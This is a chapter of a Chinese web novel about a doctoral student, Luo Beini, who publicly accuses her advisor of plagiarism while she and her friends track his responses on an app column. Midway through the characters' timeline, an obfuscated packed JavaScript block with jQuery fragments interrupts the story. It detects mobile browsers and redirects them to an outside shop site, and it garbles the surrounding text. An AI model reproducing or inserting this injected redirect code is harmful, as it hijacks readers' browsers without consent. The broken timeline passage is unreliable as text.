默认冷灰
24号文字
方正启体

18. 罗贝妮的困境(八):争锋相对(下)

作者:铸铁客本书字数:K更新时间:
    罗贝妮握着手机,一动不动。


    吴小糖急了,从沙发上跳起来。


    “他什么意思?让罗老师走?!”


    俞彩虹冷笑了一声。那笑声里没有笑意,只有冷。


    “这就是体制内的压力,先礼后兵,软硬兼施;先跟你谈声誉,再跟你谈未来;最后暗示你,自己走,对大家都好。”


    罗贝妮的眼泪流下来。


    这一次是汹涌的,止不住地流。


    “他们……他们是一伙的。”


    徐寄遥走过来,在她旁边坐下。


    她没有说话,只是伸出手,轻轻按在罗贝妮的手背上。


    那手的温度,让罗贝妮的颤抖稍微平息了一点。


    “罗老师,你现在看到了吗?”


    罗贝妮抬起头。眼睛红肿,但眼神还在。


    “学术圈不是真理至上,不是公平公正,是人情、利益、权力编织起来的一张网;张凌烽是网里的一个点,任国新是另一个点;他们互相支撑,互相保护。”


    “你动了一个点,整个网都会动起来。”


    罗贝妮沉默了。


    过了很久,她问:


    “那我还能赢吗?”


    徐寄遥看着她。


    “赢的定义是什么?”


    罗贝妮愣了一下。


    “是让他承认剽窃?是让他道歉?是让他被处分?”


    徐寄遥点点头。


    “这些都有可能实现,也有可能实现不了,但有一件事,你已经做到了。”


    “什么事?”


    “让所有人看到这张网。”


    /


    3月28日,晚上。


    张凌烽还是没有回应。


    微博上静悄悄的,像一只把头埋进沙子里的鸵鸟。


    但应宽在电脑前发现了别的东西。


    “寄遥,你看这个。”


    徐寄遥走过去。


    屏幕上是一个网页,和解大师APP的专家专栏页面。


    张凌烽的头像挂在最显眼的位置,像一面旗帜。旁边写着:特约专家·张凌烽。


    下面是他的专栏文章列表。长长的一串,从去年排到今年。


    应宽指着最新的一篇。


    “你看这个标题。”


    徐寄遥凑近看。


    《从“师生冲突”看当代年轻人的心理困境》


    发布日期:3月26日。


    也就是两天前。


    徐寄遥点进去,快速扫了一遍。


    文章写得很有水平。从心理学角度分析师生冲突的成因,引用了几个案例,最后得出结论:师生冲突的本质是代际认知差异,需要双方互相理解、互相包容。


    文章里没有提罗贝妮的名字。但明眼人一看就知道,这是在回应什么。


    应宽冷笑了一声。


    “他不敢在微博上说话,但在专栏里没闲着,把自己的问题包装成社会现象。”


    俞彩虹走过来,看了一眼屏幕。她的眼神很冷。


    “先制造问题,再解决问题;先让人受害,再让人付费。”


    她指着张凌烽的头像。


    “他是他们的特约专家,他越权威,这个APP就越可信;他越干净,他们的生意就越好做。”


    /


    3月29日,下午。


    应宽又有了新发现。


    他把屏幕转向大家,脸上的表情很复杂。像是找到了证据,又像是看到了恶心的事。


    “张凌烽的专栏里,又更新了一篇,专门写学术维权的。”


    标题是:


    《当学术维权成为热点——关于学术争议的几点思考》


    发布时间:3月28日。


    文章里,张凌烽以资深学者的身份,分析了当前学术维权的几个问题:


    “一、网络维权容易放大情绪,偏离事实。”


    “二、部分学生缺乏对学术研究的敬畏。”


    “三、学术争议应该回归学术圈内部解决。”


    最后一段,他写道:


    “真正的学术,需要冷静、理性、耐心。而不是在网络上炒作、博眼球、煽动情绪。希望年轻学者能够明白这个道理。”


    吴小糖看完,脸涨得通红。那红不是害羞,是愤怒。


    “他这是贼喊捉贼!”


    俞彩虹冷笑。那冷笑里,有一种看透了的清醒。


    “这就是话语权,他站在高处,说什么都是权威观点;你站在低处,说什么都是情绪发泄。”


    罗贝妮盯着那篇文章,没有说话。


    但她的眼睛里,有什么东西在变化。


    /


    3月30日,凌晨。


    罗贝妮躺在床上,盯着天花板。


    睡不着。


    脑子里一直在转。任国新的电话,张凌烽的专栏,网上那些评论。


    一条一条,像放电影一样,来回地转,来回地转。


    她爬起来,走到客厅。


    徐寄遥还在电脑前。屏幕的蓝光打在她脸上,把她的轮廓勾勒得很清晰。


    “睡不着?”


    罗贝妮点点头,在她旁边坐下。


    “寄遥,我问你一个问题。”


    “嗯。”


    “你说,他为什么要在和解大师上写那些东西?”


    徐寄遥想了想。那想的几秒钟里,她的眼神没有离开屏幕。


    “因为那是他的地盘,在微博上,他是被质疑的对象;在和解大师上,他是权威专家,他需要那个身份来支撑自己。”


    罗贝妮沉默了几秒。


    “那、我要不要回应?”


    徐寄遥转过头,看着她。


    “你觉得呢?”


    罗贝妮想了想。这一次她想得比之前久。


    “不回应,让他写,他写得越多,破绽越多。”


    徐寄遥嘴角微微上扬。那是她今天第一次露出笑容。


    “那就等着。”


    /


    3月31日,下午。


    应宽把最近一周的所有信息整理成了一张大表。


    时间、事件、平台、关键信息,一条一条列得清清楚楚。不是简单的列表,而是像一张作战地图,把敌我双方的每一个动向都标了出来。


    2020年2月:罗贝妮提交第一篇博士论文


    2020年3月:张凌烽否定论文,说意义不大


    2020年4月:罗贝妮被迫更换选题


    2024年10月:张凌烽剽窃论文发表在国际顶级期刊


    2024年12月:张凌烽凭借这篇论文评上院长


    2024年12月:罗贝妮发现被剽窃


    2025年1月:罗贝妮找张凌烽沟通,开始被霸凌


    2025年2月-3月初:张凌烽安排连续培训,制造旷工


    2025年3月18日:罗贝妮向学校五个部门提交实名举报信


    2025年3月18日-21日:举报信发出后,连续三天无任何回应


    2025年3月21日:罗贝妮发布第一篇小红书长文,公开举报


    2025年3月24日:张凌烽首次微博回应


    2025年3月25日:罗贝妮发布第二篇长文,质疑四年研究


    2025年3月26日:张凌烽在和解大师专栏发文


    2025年3月27日:副校长任国新与罗贝妮通电话


    2025年3月28日:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239925|197680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    张凌烽再发专栏,谈学术维权


    2025年3月29日-30日:无回应


    他把这张表投影到白墙上。


    “你们看,张凌烽的节奏很清晰,在微博上沉默,在和解大师上发声;两边分开,互不干扰。”


    俞彩虹点点头。


    “这说明他怕了,怕在微博上说错话,怕被抓住把柄;但在和解大师上,他是安全的,那是他的地盘,没有人质疑他。”


    罗贝妮盯着那张表,看了很久。


    然后她开口。声音很轻,但每一个字都很清晰。


    “俞老师,你之前说的祛魅,我现在真的明白了。”


    俞彩虹看着她。


    “这些东西,我以前觉得很高。院长、专家、权威,都是我需要仰望的。但现在看清楚了,也不过如此。”


    徐寄遥走过来。


    “那你打算怎么办?”


    罗贝妮想了想。这一次她想了很久。


    “继续发,让他继续写,让他把所有的底牌都亮出来。”


    /


    3月31日,晚上九点。


    罗贝妮发布了第五篇长文。


    标题很简单,只有一行字:


    《张凌烽院长,和解大师APP上的文章,是写给谁看的?》


    正文里,她把应宽整理的那张时间线图完整地放了上去。


    从2020年她提交第一篇博士论文开始,到2025年3月31日今天为止。五年时间,十几件大事,每一件都有时间,有证据,有出处。


    最后,她写了一句话:


    “我把举报信发给学校的时候,我以为会有人回应,我等了三天,没有;所以我只能把真相发到网上,让所有人看到。”


    “张凌烽院长,您写这些文章的时候,在想什么?”


    帖子发出去之后,评论区一片沸腾。


    不是之前那种各执一词的沸腾,而是一种终于看清真相的沸腾。


    “举报信发了三天没回应?学校在干什么?”


    “所以她是走投无路才上网的?”


    “这张时间线太清楚了!”


    /


    凌晨一点,罗贝妮放下手机。


    她站起来,走到窗边。


    窗外是城市的夜色,万家灯火早已熄灭,只剩下零星的几盏路灯,孤零零地亮着。偶尔有一辆车驶过,车灯划过夜色,很快又消失在黑暗里。


    徐寄遥走过来,站在她旁边。


    “还不睡?”


    罗贝妮摇摇头。


    “睡不着。”


    她顿了顿。


    “寄遥,你说,他明天会怎么回应?”


    徐寄遥想了想。


    “不会回应,他不敢回应这张时间线。”


    “那他会怎么做?”


    “不知道,但他肯定不会就这么算了。”


    罗贝妮沉默了几秒。


    “我不怕。”


    徐寄遥转过头,看着她。


    罗贝妮的眼睛里,有一种之前没有的东西。


    不是愤怒,不是恐惧,而是一种平静。那种平静,像是终于看清了对手之后,知道自己该怎么做了。


    “我不怕他回应,也不怕他不回应;他做什么,我就回应什么。”


    徐寄遥点点头。


    “那就好。”


    夜风吹过,窗外的树叶沙沙作响。


    罗贝妮看着窗外,忽然想起五年前,自己刚考上博士的时候。那时候她以为学术圈是神圣的,是追求真理的地方。


    现在她知道了,学术圈也是江湖,也有刀光剑影,也有利益纷争。


    但没关系。


    她已经不是那个等着别人回应的罗贝妮了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)